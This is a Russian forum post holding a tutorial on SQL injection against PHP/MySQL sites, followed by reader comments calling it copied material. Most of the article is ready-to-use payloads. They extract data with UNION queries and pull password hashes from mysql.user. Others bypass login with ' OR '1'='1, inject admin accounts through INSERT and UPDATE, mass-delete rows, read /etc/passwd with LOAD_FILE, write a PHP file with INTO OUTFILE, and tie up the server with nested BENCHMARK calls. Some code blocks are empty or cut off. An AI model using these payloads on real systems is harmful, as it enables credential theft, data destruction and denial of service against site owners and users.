![]() |
Статья! Sql инъекции.
Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.
SQL инъекция (SQL injection) - уязвимость которая возникает при недостаточной проверке и обработке данных, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы. Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний. Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д. В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии междуPHP и базой данных MySQL. Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов: Код:
CREATE DATABASE `news`;PHP код:
Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет. Дапустим: _http://Сайт/index.php?id=1' и в результате на выдаст например: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1" или _http://Сайт/index.php?id=1qwerty результат "Unknown column '1qwerty' in 'where clause'" запрос _http://Сайт/index.php?id=2-1 при наличии уязвимости должен выдать результат, аналогичный _http://Сайт/index.php?id=1 Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE. Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей. _http://Сайт/index.php?id=-1+UNION+SELECT+null,null,null,null количество "null" должно соответствовать количеству полей, которые используются в запросе. Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице. Например: _http://Сайт/index.php?id=-1+UNION+SELECT+null,'qwerty',null,null теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty. версия MySql _http://Сайт/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null _http://Сайт/index.php?id=-1+UNION+SELECT+null,USER(),null,null _http://Сайт/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null логин текущего пользователя базы данных _http://Сайт/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null имя используемой базы данных _http://Сайт/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null Получение данных из других таблиц: Код:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1Если же текущий пользователь имеет права доступа к базе "mysql", без малейших проблем злоумышленник получит хэш пароля админа. http://Сайт/index.php?id=-1+union+select+null,mysql.user.password,null,null+ from+mysql.user Теперь его подбор это просто вопрос времени. Поиск Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову: Код:
SELECT * FROM `news` WHERE `title` LIKE '%$search%' OR `text` LIKE '%$search%'Злоумышленник может передать в переменной $search = '# теперь запрос будет выглядеть следующим образом: Код:
SELECT * FROM `news` WHERE `title` LIKE '%'#%' OR `text` LIKE '%'#%'Использование параметра ORDER Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра. _http://Сайт/index.php?sort=name параметр ORDER формируется в зависимости от переменной $sort $search =' /* $sort = */ Будет сформирован следующий запрос: Код:
SELECT * FROM `news` WHERE `title` LIKE '%'/*%' OR `text` LIKE '%'/*%' ORDER BY */Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT... Как вариант использования уязвимости этого параметра: Код:
SELECT * FROM `users` ORDER BY LENGTH(password);Авторизация Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом: Код:
SELECT * FROM `users` WHERE `login`='$login' AND `password`='$password';Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат. Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается ' OR '1'='1 Или какое-нибудь истинное условие: Код:
(1, 'a'='a', 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)Код:
SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR '1'='1';Код:
SELECT * FROM `users` WHERE `login`='admin'#' AND `password`='12345'Код:
SELECT * FROM `users` WHERE `login`='' OR `id`=2#' AND `password`='12345'Код:
SELECT * FROM `users` WHERE `login`='' OR `admin`=1#' AND `password`='12345'Большой ошибкой является проверка пароля следующим образом: Код:
SELECT * FROM `users` WHERE `login`='$login' AND `password` LIKE '$password'INSERT & UPDATE Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE. Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя: Код:
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ('юзер', 'пароль',0);В поле login добавляем юзер', 'пароль', 1)#тем самым добавив пользователя с правами админа. Код:
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ('юзер', 'пароль', 1)# ,'пароль',0);Пример уязвимости в поле login: $login= юзер', 'пароль'),(1,'хакер', 'пароль')# Код:
INSERT INTO `users` (`admin`,`login`, `password`) VALUES (0,'юзер', 'пароль'),(1,'хакер', 'пароль')#','пароль');Подобная ситуация и с UPDATE Добавление дополнительных полей для изменения: $login=', `password`='', `admin`='1 Тогда подобный запрос: Код:
UPDATE `users` SET `login`='чайник' WHERE `id`=2;Код:
UPDATE `users` SET `login`='', `password`='', `admin`='1' WHERE `id`=2;Или в случае $login = ', `password`='' WHERE `id` =1# Логин и пароль админа станут пустыми. DELETE тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста. $id=1 OR 1=1 И запрос Код:
DELETE FROM `news` WHERE `id`=1 OR 1=1;Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать. Код:
DELETE FROM `news` WHERE `id`=1 OR 1=1# LIMIT 1;Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE. Про их опасность можно судить из нижеприведенных запросов: Код:
SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE('/etc/passwd'),null,null; SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE('/home/test/www/dbconf.php'),null,null;Код:
SELECT * FROM `news` WHERE `id`=-1 union select null,'<?php phpinfo();?>',null,null FROM `news` into outfile '/home/test/www/test.php';Однако есть несколько условий, благодаря которым эти способы сработают: 1.Включена привилегия FILE для текущего пользователя базы данных; 2.Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер 3.абсолютный путь к файлу; менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно. Magic quotes Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все ' та " Которые приходят с $_GET та $_POST. Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать '. В этом случае помогает функция сhar. Код:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,char(116,101,115,116),null,null;Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях :) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. "Не получится взломать, так хоть завалю" подумает хацкер, набирая функцию BENCHMARK для примера запрос: Код:
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но...BENCHMARK позволяет вкладывать себя один в один. Вот так: Код:
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));Код:
SELECT * FROM `news` WHEREЯ думаю что даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы. Автор: Vedeney |
Конечно красиво написано, вот только во всех "Статья! Sql инъекции" расматривается одни и тежи примеры, одно и тоже, только другими словами!
|
ну а че поделать... тут придумать что-то новое вряд ли получится
|
Цитата:
|
Вот потом ищешь новое что-нибудь, а натыкаешься на скопипащеные статьи.
http://www.infocity.kiev.ua/db/content/db263.phtml http://ivdb.org/article/10.htm И без разницы, толи автор Vedeney, толи переводчик Николай Н. Просто раздражает. ( |
видел тот топик.
Ммм а при чем тут SQL-Tools? я че-то не врубил =\ |
Цитата:
Толку мало от таких статей, если ты сам сядишь почитаешь оф.документация по Sql, будешь знать основы, тогда смысла в таких статьях мало. А такие статьи для ленивых! Ну я думаю ты понел что я имел в виду! |
Цитата:
|
В принципе все это где-то видел, а вот про поиск оригинально (+) кароче молодец!
|
уау, а я уж подумал: "...где же эти демографические впсплески традиционных статеи скульинжекшн, пхпинжекшн и т.п...зима встетаки почти наступила=)".
2автор:хочешь угадаю твою следующую статью;) |
| Время: 12:19 |